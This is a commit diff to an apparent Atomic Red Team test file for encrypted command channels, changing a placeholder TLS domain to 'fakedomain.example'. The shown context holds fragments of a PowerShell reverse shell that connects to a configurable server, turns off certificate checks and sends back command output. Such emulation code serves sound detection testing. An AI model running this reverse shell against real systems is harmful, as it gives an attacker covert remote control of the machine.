Update T1573.yaml (#1866)
RFC 2606 compliance, to avoid future potential complications.
This commit is contained in:
@@ -28,7 +28,7 @@ atomic_tests:
|
||||
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
|
||||
$stream = $socket.GetStream()
|
||||
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
|
||||
$sslStream.AuthenticateAsClient('fake.domain', $null, "Tls12", $false)
|
||||
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
|
||||
$writer = new-object System.IO.StreamWriter($sslStream)
|
||||
$writer.Write('PS ' + (pwd).Path + '> ')
|
||||
$writer.flush()
|
||||
@@ -39,4 +39,4 @@ atomic_tests:
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}
|
||||
name: powershell
|
||||
name: powershell
|
||||
|
||||
Reference in New Issue
Block a user